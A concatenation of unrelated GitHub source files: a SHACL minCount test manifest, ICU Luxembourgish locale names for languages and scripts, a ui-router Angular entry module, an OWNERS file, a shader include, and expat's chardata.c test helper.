@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
@prefix sh: <http://www.w3.org/ns/shacl#> .
@prefix sht: <http://www.w3.org/ns/shacl-test#> .
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .
ex:TestShape
rdf:type sh:NodeShape ;
sh:property [
sh:path ex:property ;
sh:minCount 0 ;
sh:name "property" ;
] ;
sh:targetNode ex:ValidResource1 ;
.
ex:ValidResource1
rdf:type rdfs:Resource ;
.
<>
rdf:type mf:Manifest ;
mf:entries (
<minCount-002>
) ;
.
<minCount-002>
rdf:type sht:Validate ;
rdfs:label "Test of sh:minCount at property shape 001" ;
mf:action [
sht:dataGraph <> ;
sht:shapesGraph <> ;
] ;
mf:result [
rdf:type sh:ValidationReport ;
sh:conforms "true"^^xsd:boolean ;
] ;
mf:status sht:approved ;
.
| {
"pile_set_name": "Github"
} |
// © 2016 and later: Unicode, Inc. and others.
// License & terms of use: http://www.unicode.org/copyright.html
// Generated using tools/cldr/cldr-to-icu/build-icu-data.xml
lb{
Keys{
calendar{"Kalenner"}
collation{"Zortéierung"}
currency{"Währung"}
numbers{"Zuelen"}
}
Languages{
aa{"Afar"}
ab{"Abchasesch"}
ace{"Aceh-Sprooch"}
ach{"Acholi-Sprooch"}
ada{"Adangme"}
ady{"Adygéiesch"}
ae{"Avestesch"}
aeb{"Tunesescht Arabesch"}
af{"Afrikaans"}
afh{"Afrihili"}
agq{"Aghem"}
ain{"Ainu-Sprooch"}
ak{"Akan"}
akk{"Akkadesch"}
akz{"Alabama"}
ale{"Aleutesch"}
aln{"Gegesch"}
alt{"Süd-Alaesch"}
am{"Amharesch"}
an{"Aragonesesch"}
ang{"Alenglesch"}
anp{"Angika"}
ar{"Arabesch"}
ar_001{"Modernt Héicharabesch"}
arc{"Aramäesch"}
arn{"Mapudungun"}
aro{"Araona"}
arp{"Arapaho-Sprooch"}
arq{"Algerescht Arabesch"}
arw{"Arawak-Sprooch"}
ary{"Marokkanescht Arabesch"}
arz{"Egyptescht Arabesch"}
as{"Assamesesch"}
asa{"Asu (Tanzania)"}
ase{"Amerikanesch Zeechesprooch"}
ast{"Asturianesch"}
av{"Awaresch"}
avk{"Kotava"}
awa{"Awadhi"}
ay{"Aymara"}
az{"Aserbaidschanesch"}
ba{"Baschkiresch"}
bal{"Belutschesch"}
ban{"Balinesesch"}
bar{"Bairesch"}
bas{"Basaa-Sprooch"}
bax{"Bamun"}
bbc{"Batak Toba"}
bbj{"Ghomálá’"}
be{"Wäissrussesch"}
bej{"Bedauye"}
bem{"Bemba-Sprooch"}
bew{"Betawi"}
bez{"Bena"}
bfd{"Bafut"}
bfq{"Badaga"}
bg{"Bulgaresch"}
bho{"Bhodschpuri"}
bi{"Bislama"}
bik{"Bikol-Sprooch"}
bin{"Bini-Sprooch"}
bjn{"Banjaresesch"}
bkm{"Kom"}
bla{"Blackfoot-Sprooch"}
bm{"Bambara-Sprooch"}
bn{"Bengalesch"}
bo{"Tibetesch"}
bpy{"Bishnupriya"}
bqi{"Bachtiaresch"}
br{"Bretonesch"}
bra{"Braj-Bhakha"}
brh{"Brahui"}
brx{"Bodo"}
bs{"Bosnesch"}
bss{"Akoose"}
bua{"Burjatesch"}
bug{"Buginesesch"}
bum{"Bulu"}
byn{"Blin"}
byv{"Medumba"}
ca{"Katalanesch"}
cad{"Caddo"}
car{"Karibesch"}
cay{"Cayuga"}
cch{"Atsam"}
ce{"Tschetschenesch"}
ceb{"Cebuano"}
cgg{"Kiga"}
ch{"Chamorro-Sprooch"}
chb{"Chibcha-Sprooch"}
chg{"Tschagataesch"}
chk{"Trukesesch"}
chm{"Mari"}
chn{"Chinook"}
cho{"Choctaw"}
chp{"Chipewyan"}
chr{"Cherokee"}
chy{"Cheyenne"}
ckb{"Sorani"}
co{"Korsesch"}
cop{"Koptesch"}
cps{"Capiznon"}
cr{"Cree"}
crh{"Krimtataresch"}
cs{"Tschechesch"}
csb{"Kaschubesch"}
cu{"Kiercheslawesch"}
cv{"Tschuwaschesch"}
cy{"Walisesch"}
da{"Dänesch"}
dak{"Dakota-Sprooch"}
dar{"Darginesch"}
dav{"Taita"}
de{"Däitsch"}
de_AT{"Éisträichescht Däitsch"}
de_CH{"Schwäizer Héichdäitsch"}
del{"Delaware-Sprooch"}
den{"Slave"}
dgr{"Dogrib"}
din{"Dinka-Sprooch"}
dje{"Zarma"}
doi{"Dogri"}
dsb{"Niddersorbesch"}
dtp{"Zentral-Dusun"}
dua{"Duala"}
dum{"Mëttelhollännesch"}
dv{"Maldivesch"}
dyo{"Jola-Fonyi"}
dyu{"Dyula-Sprooch"}
dz{"Bhutanesch"}
dzg{"Dazaga"}
ebu{"Kiembu"}
ee{"Ewe-Sprooch"}
efi{"Efik"}
egl{"Emilianesch"}
egy{"Egyptesch"}
eka{"Ekajuk"}
el{"Griichesch"}
elx{"Elamesch"}
en{"Englesch"}
en_AU{"Australescht Englesch"}
en_CA{"Kanadescht Englesch"}
en_GB{"Britescht Englesch"}
en_US{"Amerikanescht Englesch"}
enm{"Mëttelenglesch"}
eo{"Esperanto"}
es{"Spuenesch"}
es_419{"Latäinamerikanescht Spuenesch"}
es_ES{"Europäescht Spuenesch"}
es_MX{"Mexikanescht Spuenesch"}
esu{"Yup’ik"}
et{"Estnesch"}
eu{"Baskesch"}
ewo{"Ewondo"}
ext{"Extremaduresch"}
fa{"Persesch"}
fan{"Pangwe-Sprooch"}
fat{"Fanti-Sprooch"}
ff{"Ful"}
fi{"Finnesch"}
fil{"Filipino"}
fit{"Meänkieli"}
fj{"Fidschianesch"}
fo{"Färöesch"}
fon{"Fon-Sprooch"}
fr{"Franséisch"}
fr_CA{"Kanadescht Franséisch"}
fr_CH{"Schwäizer Franséisch"}
frc{"Cajun"}
frm{"Mëttelfranséisch"}
fro{"Alfranséisch"}
frp{"Frankoprovenzalesch"}
frr{"Nordfriesesch"}
frs{"Ostfriesesch"}
fur{"Friulesch"}
fy{"Westfriesesch"}
ga{"Iresch"}
gaa{"Ga-Sprooch"}
gag{"Gagausesch"}
gan{"Gan-Chinesesch"}
gay{"Gayo"}
gba{"Gbaya-Sprooch"}
gbz{"Zoroastrianescht Dari"}
gd{"Schottescht Gällesch"}
gez{"Geez"}
gil{"Gilbertesesch"}
gl{"Galizesch"}
glk{"Gilaki"}
gmh{"Mëttelhéichdäitsch"}
gn{"Guarani"}
goh{"Alhéichdäitsch"}
gom{"Goan-Konkani"}
gon{"Gondi-Sprooch"}
gor{"Mongondou"}
got{"Gotesch"}
grb{"Grebo-Sprooch"}
grc{"Algriichesch"}
gsw{"Schwäizerdäitsch"}
gu{"Gujarati"}
guc{"Wayuu"}
gur{"Farefare"}
guz{"Gusii-Sprooch"}
gv{"Manx"}
gwi{"Kutchin-Sprooch"}
ha{"Hausa"}
hai{"Haida-Sprooch"}
hak{"Hakka-Chinesesch"}
haw{"Hawaiesch"}
he{"Hebräesch"}
hi{"Hindi"}
hif{"Fidschi-Hindi"}
hil{"Hiligaynon-Sprooch"}
hit{"Hethitesch"}
hmn{"Miao-Sprooch"}
ho{"Hiri-Motu"}
hr{"Kroatesch"}
hsb{"Uewersorbesch"}
hsn{"Xiang-Chinesesch"}
ht{"Haitianesch"}
hu{"Ungaresch"}
hup{"Hupa"}
hy{"Armenesch"}
hz{"Herero-Sprooch"}
ia{"Interlingua"}
iba{"Iban"}
ibb{"Ibibio"}
id{"Indonesesch"}
ie{"Interlingue"}
ig{"Igbo-Sprooch"}
ii{"Sichuan Yi"}
ik{"Inupiak"}
ilo{"Ilokano-Sprooch"}
inh{"Inguschesch"}
io{"Ido-Sprooch"}
is{"Islännesch"}
it{"Italienesch"}
iu{"Inukitut"}
izh{"Ischoresch"}
ja{"Japanesch"}
jam{"Jamaikanesch-Kreolesch"}
jbo{"Lojban"}
jgo{"Ngomba"}
jmc{"Machame"}
jpr{"Jiddesch-Persesch"}
jrb{"Jiddesch-Arabesch"}
jut{"Jütesch"}
jv{"Javanesch"}
ka{"Georgesch"}
kaa{"Karakalpakesch"}
kab{"Kabylesch"}
kac{"Kachin-Sprooch"}
kaj{"Jju"}
kam{"Kamba"}
kaw{"Kawi"}
kbd{"Kabardinesch"}
kbl{"Kanembu"}
kcg{"Tyap"}
kde{"Makonde"}
kea{"Kabuverdianu"}
ken{"Kenyang"}
kfo{"Koro"}
kg{"Kongolesesch"}
kgp{"Kaingang"}
kha{"Khasi-Sprooch"}
kho{"Sakesch"}
khq{"Koyra Chiini"}
khw{"Khowar"}
ki{"Kikuyu-Sprooch"}
kiu{"Kirmanjki"}
kj{"Kwanyama"}
kk{"Kasachesch"}
kkj{"Kako"}
kl{"Grönlännesch"}
kln{"Kalenjin"}
km{"Kambodschanesch"}
kmb{"Kimbundu-Sprooch"}
kn{"Kannada"}
ko{"Koreanesch"}
koi{"Komi-Permiak"}
kok{"Konkani"}
kos{"Kosraeanesch"}
kpe{"Kpelle-Sprooch"}
kr{"Kanuri-Sprooch"}
krc{"Karatschaiesch-Balkaresch"}
kri{"Krio"}
krj{"Kinaray-a"}
krl{"Karelesch"}
kru{"Oraon-Sprooch"}
ks{"Kaschmiresch"}
ksb{"Shambala"}
ksf{"Bafia"}
ksh{"Kölsch"}
ku{"Kurdesch"}
kum{"Kumükesch"}
kut{"Kutenai-Sprooch"}
kv{"Komi-Sprooch"}
kw{"Kornesch"}
ky{"Kirgisesch"}
la{"Latäin"}
lad{"Ladino"}
lag{"Langi"}
lah{"Lahnda"}
lam{"Lamba-Sprooch"}
lb{"Lëtzebuergesch"}
lez{"Lesgesch"}
lfn{"Lingua Franca Nova"}
lg{"Ganda-Sprooch"}
li{"Limburgesch"}
lij{"Liguresch"}
liv{"Livesch"}
lkt{"Lakota-Sprooch"}
lmo{"Lombardesch"}
ln{"Lingala"}
lo{"Laotesch"}
lol{"Mongo"}
loz{"Rotse-Sprooch"}
lt{"Litauesch"}
ltg{"Lettgallesch"}
lu{"Luba-Katanga"}
lua{"Luba-Lulua"}
lui{"Luiseno-Sprooch"}
lun{"Lunda-Sprooch"}
luo{"Luo-Sprooch"}
lus{"Lushai-Sprooch"}
luy{"Olulujia"}
lv{"Lettesch"}
lzh{"Klassescht Chinesesch"}
lzz{"Lasesch Sprooch"}
mad{"Maduresesch"}
maf{"Mafa"}
mag{"Khotta"}
mai{"Maithili"}
mak{"Makassaresch"}
man{"Manding-Sprooch"}
mas{"Massai-Sprooch"}
mde{"Maba"}
mdf{"Moksha"}
mdr{"Mandaresesch"}
men{"Mende-Sprooch"}
mer{"Meru-Sprooch"}
mfe{"Morisyen"}
mg{"Malagassi-Sprooch"}
mga{"Mëtteliresch"}
mgh{"Makhuwa-Meetto"}
mgo{"Meta’"}
mh{"Marschallesesch"}
mi{"Maori"}
mic{"Micmac-Sprooch"}
min{"Minangkabau-Sprooch"}
mk{"Mazedonesch"}
ml{"Malayalam"}
mn{"Mongolesch"}
mnc{"Mandschuresch"}
mni{"Meithei-Sprooch"}
moh{"Mohawk-Sprooch"}
mos{"Mossi-Sprooch"}
mr{"Marathi"}
mrj{"West-Mari"}
ms{"Malaiesch"}
mt{"Maltesesch"}
mua{"Mundang"}
mul{"Méisproocheg"}
mus{"Muskogee-Sprooch"}
mwl{"Mirandesesch"}
mwr{"Marwari"}
mwv{"Mentawai"}
my{"Birmanesch"}
mye{"Myene"}
myv{"Ersja-Mordwinesch"}
mzn{"Mazandarani"}
na{"Nauruesch"}
nan{"Min-Nan-Chinesesch"}
nap{"Neapolitanesch"}
naq{"Nama"}
nb{"Norwegesch Bokmål"}
nd{"Nord-Ndebele-Sprooch"}
nds{"Nidderdäitsch"}
ne{"Nepalesesch"}
new{"Newari"}
ng{"Ndonga"}
nia{"Nias-Sprooch"}
niu{"Niue-Sprooch"}
njo{"Ao Naga"}
nl{"Hollännesch"}
nl_BE{"Flämesch"}
nmg{"Kwasio"}
nn{"Norwegesch Nynorsk"}
nnh{"Ngiemboon"}
no{"Norwegesch"}
nog{"Nogai"}
non{"Alnordesch"}
nov{"Novial"}
nqo{"N’Ko"}
nr{"Süd-Ndebele-Sprooch"}
nso{"Nord-Sotho-Sprooch"}
nus{"Nuer"}
nv{"Navajo"}
nwc{"Al-Newari"}
ny{"Nyanja-Sprooch"}
nym{"Nyamwezi-Sprooch"}
nyn{"Nyankole"}
nyo{"Nyoro"}
nzi{"Nzima"}
oc{"Okzitanesch"}
oj{"Ojibwa-Sprooch"}
om{"Oromo"}
or{"Orija"}
os{"Ossetesch"}
osa{"Osage-Sprooch"}
ota{"Osmanesch"}
pa{"Pandschabesch"}
pag{"Pangasinan-Sprooch"}
pal{"Mëttelpersesch"}
pam{"Pampanggan-Sprooch"}
pap{"Papiamento"}
pau{"Palau"}
pcd{"Picardesch"}
pdc{"Pennsylvaniadäitsch"}
pdt{"Plattdäitsch"}
peo{"Alpersesch"}
pfl{"Pfälzesch Däitsch"}
phn{"Phönikesch"}
pi{"Pali"}
pl{"Polnesch"}
pms{"Piemontesesch"}
pnt{"Pontesch"}
pon{"Ponapeanesch"}
prg{"Preisesch"}
pro{"Alprovenzalesch"}
ps{"Paschtu"}
pt{"Portugisesch"}
pt_BR{"Brasilianescht Portugisesch"}
pt_PT{"Europäescht Portugisesch"}
qu{"Quechua"}
quc{"Quiché-Sprooch"}
qug{"Kichwa (Chimborazo-Gebidder)"}
raj{"Rajasthani"}
rap{"Ouschterinsel-Sprooch"}
rar{"Rarotonganesch"}
rgn{"Romagnol"}
rif{"Tarifit"}
rm{"Rätoromanesch"}
rn{"Rundi-Sprooch"}
ro{"Rumänesch"}
ro_MD{"Moldawesch"}
rof{"Rombo"}
rom{"Romani"}
root{"Root"}
rtm{"Rotumanesch"}
ru{"Russesch"}
rue{"Russinesch"}
rug{"Roviana"}
rup{"Aromunesch"}
rw{"Ruandesch"}
rwk{"Rwa"}
sa{"Sanskrit"}
sad{"Sandawe-Sprooch"}
sah{"Jakutesch"}
sam{"Samaritanesch"}
saq{"Samburu"}
sas{"Sasak"}
sat{"Santali"}
saz{"Saurashtra"}
sba{"Ngambay"}
sbp{"Sangu"}
sc{"Sardesch"}
scn{"Sizilianesch"}
sco{"Schottesch"}
sd{"Sindhi"}
sdc{"Sassaresesch"}
se{"Nordsamesch"}
see{"Seneca"}
seh{"Sena"}
sei{"Seri"}
sel{"Selkupesch"}
ses{"Koyra Senni"}
sg{"Sango"}
sga{"Aliresch"}
sgs{"Samogitesch"}
sh{"Serbo-Kroatesch"}
shi{"Taschelhit"}
shn{"Schan-Sprooch"}
shu{"Tschadesch-Arabesch"}
si{"Singhalesesch"}
sid{"Sidamo"}
sk{"Slowakesch"}
sl{"Slowenesch"}
sli{"Nidderschlesesch"}
sly{"Selayar"}
sm{"Samoanesch"}
sma{"Südsamesch"}
smj{"Lule-Lappesch"}
smn{"Inari-Lappesch"}
sms{"Skolt-Lappesch"}
sn{"Shona"}
snk{"Soninke-Sprooch"}
so{"Somali"}
sog{"Sogdesch"}
sq{"Albanesch"}
sr{"Serbesch"}
srn{"Srananesch"}
srr{"Serer-Sprooch"}
ss{"Swazi"}
ssy{"Saho"}
st{"Süd-Sotho-Sprooch"}
stq{"Saterfriesesch"}
su{"Sundanesesch"}
suk{"Sukuma-Sprooch"}
sus{"Susu"}
sux{"Sumeresch"}
sv{"Schwedesch"}
sw{"Suaheli"}
sw_CD{"Kongo-Swahili"}
swb{"Komoresch"}
syc{"Alsyresch"}
syr{"Syresch"}
szl{"Schlesesch"}
ta{"Tamilesch"}
tcy{"Tulu"}
te{"Telugu"}
tem{"Temne"}
teo{"Teso"}
ter{"Tereno-Sprooch"}
tet{"Tetum-Sprooch"}
tg{"Tadschikesch"}
th{"Thailännesch"}
ti{"Tigrinja"}
tig{"Tigre"}
tiv{"Tiv-Sprooch"}
tk{"Turkmenesch"}
tkl{"Tokelauanesch"}
tkr{"Tsachuresch"}
tl{"Dagalog"}
tlh{"Klingonesch"}
tli{"Tlingit-Sprooch"}
tly{"Talesch"}
tmh{"Tamaseq"}
tn{"Tswana-Sprooch"}
to{"Tongaesch"}
tog{"Tsonga-Sprooch"}
tpi{"Neimelanesesch"}
tr{"Tierkesch"}
tru{"Turoyo"}
trv{"Seediq"}
ts{"Tsonga"}
tsd{"Tsakonesch"}
tsi{"Tsimshian-Sprooch"}
tt{"Tataresch"}
ttt{"Tatesch"}
tum{"Tumbuka-Sprooch"}
tvl{"Elliceanesch"}
tw{"Twi"}
twq{"Tasawaq"}
ty{"Tahitesch"}
tyv{"Tuwinesch"}
tzm{"Mëttlert-Atlas-Tamazight"}
udm{"Udmurtesch"}
ug{"Uiguresch"}
uga{"Ugaritesch"}
uk{"Ukrainesch"}
umb{"Mbundu-Sprooch"}
und{"Onbestëmmt Sprooch"}
ur{"Urdu"}
uz{"Usbekesch"}
vai{"Vai-Sprooch"}
ve{"Venda-Sprooch"}
vec{"Venezesch"}
vep{"Wepsesch"}
vi{"Vietnamesesch"}
vls{"Westflämesch"}
vmf{"Mainfränkesch"}
vo{"Volapük"}
vot{"Wotesch"}
vro{"Voro"}
vun{"Vunjo"}
wa{"Wallounesch"}
wae{"Walliserdäitsch"}
wal{"Walamo-Sprooch"}
war{"Waray"}
was{"Washo-Sprooch"}
wo{"Wolof"}
wuu{"Wu-Chinesesch"}
xal{"Kalmückesch"}
xh{"Xhosa"}
xmf{"Mingrelesch Sprooch"}
xog{"Soga"}
yao{"Yao-Sprooch"}
yap{"Yapesesch"}
yav{"Yangben"}
ybb{"Yemba"}
yi{"Jiddesch"}
yo{"Yoruba"}
yrl{"Nheengatu"}
yue{"Kantonesesch"}
za{"Zhuang"}
zap{"Zapotekesch"}
zbl{"Bliss-Symboler"}
zea{"Seelännesch"}
zen{"Zenaga"}
zgh{"Marokkanescht Standard-Tamazight"}
zh{"Chinesesch"}
zh_Hans{"Chinesesch (vereinfacht)"}
zh_Hant{"Chinesesch (traditionell)"}
zu{"Zulu"}
zun{"Zuni-Sprooch"}
zxx{"Keng Sproochinhalter"}
zza{"Zaza"}
}
Languages%short{
en_GB{"Englesch (UK)"}
}
Scripts{
Arab{"Arabesch"}
Armn{"Armenesch"}
Avst{"Avestesch"}
Bali{"Balinesesch"}
Batk{"Battakesch"}
Beng{"Bengalesch"}
Blis{"Bliss-Symboler"}
Bopo{"Bopomofo"}
Brah{"Brahmi"}
Brai{"Blanneschrëft"}
Bugi{"Buginesesch"}
Buhd{"Buhid"}
Cans{"UCAS"}
Cari{"Karesch"}
Cher{"Cherokee"}
Cirt{"Cirth"}
Copt{"Koptesch"}
Cprt{"Zypriotesch"}
Cyrl{"Kyrillesch"}
Cyrs{"Alkiercheslawesch"}
Deva{"Devanagari"}
Dsrt{"Deseret"}
Egyd{"Egyptesch-Demotesch"}
Egyh{"Egyptesch-Hieratesch"}
Egyp{"Egyptesch Hieroglyphen"}
Ethi{"Ethiopesch"}
Geok{"Khutsuri"}
Geor{"Georgesch"}
Glag{"Glagolitesch"}
Goth{"Gotesch"}
Grek{"Griichesch"}
Gujr{"Gujarati"}
Guru{"Gurmukhi"}
Hang{"Hangul"}
Hani{"Chinesesch"}
Hano{"Hanunoo"}
Hans{"Vereinfacht"}
Hant{"Traditionell"}
Hebr{"Hebräesch"}
Hira{"Hiragana"}
Hmng{"Pahawh Hmong"}
Hrkt{"Katakana oder Hiragana"}
Hung{"Alungaresch"}
Inds{"Indus-Schrëft"}
Ital{"Alitalesch"}
Java{"Javanesesch"}
Jpan{"Japanesch"}
Kali{"Kayah Li"}
Kana{"Katakana"}
Khar{"Kharoshthi"}
Khmr{"Khmer"}
Knda{"Kannada"}
Kore{"Koreanesch"}
Lana{"Lanna"}
Laoo{"Laotesch"}
Latf{"Laténgesch-Fraktur-Variant"}
Latg{"Laténgesch-Gällesch Variant"}
Latn{"Laténgesch"}
Lepc{"Lepcha"}
Limb{"Limbu"}
Lina{"Linear A"}
Linb{"Linear B"}
Lyci{"Lykesch"}
Lydi{"Lydesch"}
Mand{"Mandäesch"}
Mani{"Manichäesch"}
Maya{"Maya-Hieroglyphen"}
Mero{"Meroitesch"}
Mlym{"Malaysesch"}
Mong{"Mongolesch"}
Moon{"Moon"}
Mtei{"Meitei Mayek"}
Mymr{"Birmanesch"}
Nkoo{"N’Ko"}
Ogam{"Ogham"}
Olck{"Ol Chiki"}
Orkh{"Orchon-Runen"}
Orya{"Oriya"}
Osma{"Osmanesch"}
Perm{"Alpermesch"}
Phag{"Phags-pa"}
Phlv{"Pahlavi"}
Phnx{"Phönizesch"}
Plrd{"Pollard Phonetesch"}
Rjng{"Rejang"}
Roro{"Rongorongo"}
Runr{"Runeschrëft"}
Samr{"Samaritanesch"}
Sara{"Sarati"}
Saur{"Saurashtra"}
Sgnw{"Zeechesprooch"}
Shaw{"Shaw-Alphabet"}
Sinh{"Singhalesesch"}
Sund{"Sundanesesch"}
Sylo{"Syloti Nagri"}
Syrc{"Syresch"}
Syre{"Syresch-Estrangelo-Variant"}
Syrj{"Westsyresch"}
Syrn{"Ostsyresch"}
Tale{"Tai Le"}
Talu{"Tai Lue"}
Taml{"Tamilesch"}
Telu{"Telugu"}
Teng{"Tengwar"}
Tfng{"Tifinagh"}
Tglg{"Dagalog"}
Thaa{"Thaana"}
Thai{"Thai"}
Tibt{"Tibetesch"}
Ugar{"Ugaritesch"}
Vaii{"Vai"}
Visp{"Siichtbar Sprooch"}
Xpeo{"Alpersesch"}
Xsux{"Sumeresch-akkadesch Keilschrëft"}
Yiii{"Yi"}
Zinh{"Geierfte Schrëftwäert"}
Zsym{"Symboler"}
Zxxx{"Ouni Schrëft"}
Zyyy{"Onbestëmmt"}
Zzzz{"Oncodéiert Schrëft"}
}
Scripts%stand-alone{
Hans{"Vereinfacht Chinesesch"}
Hant{"Traditionellt Chinesesch"}
}
Types{
calendar{
buddhist{"Buddhistesche Kalenner"}
chinese{"Chinesesche Kalenner"}
coptic{"Koptesche Kalenner"}
dangi{"Dangi-Kalenner"}
ethiopic{"Ethiopesche Kalenner"}
ethiopic-amete-alem{"Ethiopesche Kalenner \u0022Amete Alem\u0022"}
gregorian{"Gregorianesche Kalenner"}
hebrew{"Hebräesche Kalenner"}
indian{"Indeschen Nationalkalenner"}
islamic{"Islamesche Kalenner"}
islamic-civil{"Biergerlechen islamesche Kalenner"}
iso8601{"ISO-8601-Kalenner"}
japanese{"Japanesche Kalenner"}
persian{"Persesche Kalenner"}
roc{"Kalenner vun der Republik China"}
}
collation{
big5han{"Traditionellt Chinesesch - Big5"}
dictionary{"Lexikographesch Zortéierreiefolleg"}
ducet{"Unicode-Zortéierung"}
eor{"Europäesch Zortéierregelen"}
gb2312han{"Vereinfacht Chinesesch - GB2312"}
phonebook{"Telefonsbuch-Zortéierung"}
pinyin{"Pinyin-Zortéierregelen"}
reformed{"Reforméiert Zortéierreiefolleg"}
search{"Allgemeng Sich"}
searchjl{"Sich no Ufanksbuschtawen aus dem koreaneschen Alphabet"}
standard{"Standard Zortéierreiefolleg"}
stroke{"Stréchfolleg"}
traditional{"Traditionell Zortéierregelen"}
unihan{"Radikal-Stréch-Zortéierregelen"}
zhuyin{"Zhuyin-Zortéierregelen"}
}
numbers{
arab{"Arabesch-indesch Zifferen"}
arabext{"Erweidert arabesch-indesch Zifferen"}
armn{"Armenesch Zifferen"}
armnlow{"Armenesch Zifferen a Klengschrëft"}
beng{"Bengalesch Zifferen"}
deva{"Devanagari-Zifferen"}
ethi{"Ethiopesch Zifferen"}
fullwide{"Vollbreet Zifferen"}
geor{"Georgesch Zifferen"}
grek{"Griichesch Zifferen"}
greklow{"Griichesch Zifferen a Klengschrëft"}
gujr{"Gujarati-Zifferen"}
guru{"Gurmukhi-Zifferen"}
hanidec{"Chinesesch Dezimalzuelen"}
hans{"Vereinfacht-Chinesesch Zifferen"}
hansfin{"Vereinfacht-Chinesesch Finanzzifferen"}
hant{"Traditionell-Chinesesch Zifferen"}
hantfin{"Traditionell-Chinesesch Finanzzifferen"}
hebr{"Hebräesch Zifferen"}
jpan{"Japanesch Zifferen"}
jpanfin{"Japanesch Finanzzifferen"}
khmr{"Khmer-Zifferen"}
knda{"Kannada-Zifferen"}
laoo{"Laotesch Zifferen"}
latn{"Westlech Zifferen"}
mlym{"Malayalam-Zifferen"}
mong{"Mongolesch Zifferen"}
mymr{"Myanmar-Zifferen"}
orya{"Oriya-Zifferen"}
roman{"Réimesch Zifferen"}
romanlow{"Réimesch Zifferen a Klengschrëft"}
taml{"Tamilesch Zifferen"}
tamldec{"Tamil-Zifferen"}
telu{"Telugu-Zifferen"}
thai{"Thai-Zifferen"}
tibt{"Tibetesch Zifferen"}
vaii{"Vai-Zifferen"}
}
}
Variants{
1606NICT{"Spéit Mëttelfranséisch"}
1694ACAD{"Klassescht Franséisch"}
1901{"Al Däitsch Rechtschreiwung"}
1959ACAD{"Akademesch"}
1994{"Standardiséiert Resianesch Rechtschreiwung"}
1996{"Nei Däitsch Rechtschreiwung"}
ALALC97{"ALA-LC-Romaniséierung, Editioun vun 1997"}
ALUKU{"Aluku-Dialekt"}
AREVELA{"Ostarmenesch"}
AREVMDA{"Westarmenesch"}
BAKU1926{"Eenheetlecht Tierkescht Alphabet"}
BALANKA{"Balanka-Dialekt vun Anii"}
BARLA{"Barlavento-Dialektgrupp vu Kabuverdianu"}
BISKE{"Bela-Dialekt"}
BOHORIC{"Bohorič-Alphabet"}
BOONT{"Boontling"}
DAJNKO{"Dajnko-Alphabet"}
EKAVSK{"Serbesch mat Ekavian-Aussprooch"}
EMODENG{"Fréit Modernt Englesch"}
FONIPA{"Phonetesch (IPA)"}
FONUPA{"Phonetesch (UPA)"}
HEPBURN{"Hepburn-Romaniséierung"}
IJEKAVSK{"Serbesch mat Ijekavian-Aussprooch"}
KKCOR{"Allgemeng Rechtschreiwung"}
KSCOR{"Standard-Rechtschreiwung"}
LIPAW{"Lipovaz-Dialekt"}
METELKO{"Metelko-Alphabet"}
MONOTON{"Monotonesch"}
NDYUKA{"Ndyuka-Dialekt"}
NEDIS{"Natisone-Dialekt"}
NJIVA{"Njiva-Dialekt"}
NULIK{"Modernt Volapük"}
OSOJS{"Osojane-Dialekt"}
PAMAKA{"Pamaka-Dialekt"}
PINYIN{"Pinyin"}
POLYTON{"Polytonesch"}
POSIX{"Computer"}
REVISED{"Revidéiert Rechtschreiwung"}
ROZAJ{"Resianesch"}
SAAHO{"Saho"}
SCOTLAND{"Schottescht Standardenglesch"}
SCOUSE{"Scouse-Dialekt"}
SOLBA{"Solbica-Dialekt"}
SOTAV{"Sotavento-Dialekt-Grupp vu Kabuverdianu"}
TARASK{"Taraskievica-Orthographie"}
UCCOR{"Vereenheetlecht Rechtschreiwung"}
UCRCOR{"Vereenheetlecht iwwerschafft Rechtschreiwung"}
UNIFON{"Phonetescht Unifon-Alphabet"}
VALENCIA{"Valencianesch"}
WADEGILE{"Wade-Giles"}
}
codePatterns{
language{"Sprooch: {0}"}
script{"Schrëft: {0}"}
territory{"Regioun: {0}"}
}
localeDisplayPattern{
keyTypePattern{"{0}: {1}"}
pattern{"{0} ({1})"}
separator{"{0}, {1}"}
}
}
| {
"pile_set_name": "Github"
} |
/**
* Main entry point for angular 1.x build
* @publicapi @module ng1
*/ /** */
export * from './interface';
export * from './services';
export * from './statebuilders/views';
export * from './stateProvider';
export * from './urlRouterProvider';
import './injectables';
import './directives/stateDirectives';
import './stateFilters';
import './directives/viewDirective';
import './viewScroll';
export default 'ui.router';
import * as core from '@uirouter/core';
export { core };
export * from '@uirouter/core';
| {
"pile_set_name": "Github"
} |
set noparent
[email protected]
[email protected]
[email protected] | {
"pile_set_name": "Github"
} |
#define USE_SHADOW
#define USE_LMAP
#include "accum_base.ps"
| {
"pile_set_name": "Github"
} |
/* Copyright (c) 1998-2003 Thai Open Source Software Center Ltd
See the file COPYING for copying permission.
chardata.c
*/
#ifdef HAVE_EXPAT_CONFIG_H
#include <expat_config.h>
#endif
#ifdef HAVE_CHECK_H
#include <check.h>
#else
#include "minicheck.h"
#endif
#include <assert.h>
#include <stdio.h>
#include <string.h>
#include "chardata.h"
static int
xmlstrlen(const XML_Char *s)
{
int len = 0;
assert(s != NULL);
while (s[len] != 0)
++len;
return len;
}
void
CharData_Init(CharData *storage)
{
assert(storage != NULL);
storage->count = -1;
}
void
CharData_AppendString(CharData *storage, const char *s)
{
int maxchars = sizeof(storage->data) / sizeof(storage->data[0]);
int len;
assert(s != NULL);
len = strlen(s);
if (storage->count < 0)
storage->count = 0;
if ((len + storage->count) > maxchars) {
len = (maxchars - storage->count);
}
if (len + storage->count < sizeof(storage->data)) {
memcpy(storage->data + storage->count, s, len);
storage->count += len;
}
}
void
CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len)
{
int maxchars;
assert(storage != NULL);
assert(s != NULL);
maxchars = sizeof(storage->data) / sizeof(storage->data[0]);
if (storage->count < 0)
storage->count = 0;
if (len < 0)
len = xmlstrlen(s);
if ((len + storage->count) > maxchars) {
len = (maxchars - storage->count);
}
if (len + storage->count < sizeof(storage->data)) {
memcpy(storage->data + storage->count, s,
len * sizeof(storage->data[0]));
storage->count += len;
}
}
int
CharData_CheckString(CharData *storage, const char *expected)
{
char buffer[1280];
int len;
int count;
assert(storage != NULL);
assert(expected != NULL);
count = (storage->count < 0) ? 0 : storage->count;
len = strlen(expected);
if (len != count) {
if (sizeof(XML_Char) == 1)
sprintf(buffer, "wrong number of data characters:"
" got %d, expected %d:\n%s", count, len, storage->data);
else
sprintf(buffer,
"wrong number of data characters: got %d, expected %d",
count, len);
fail(buffer);
return 0;
}
if (memcmp(expected, storage->data, len) != 0) {
fail("got bad data bytes");
return 0;
}
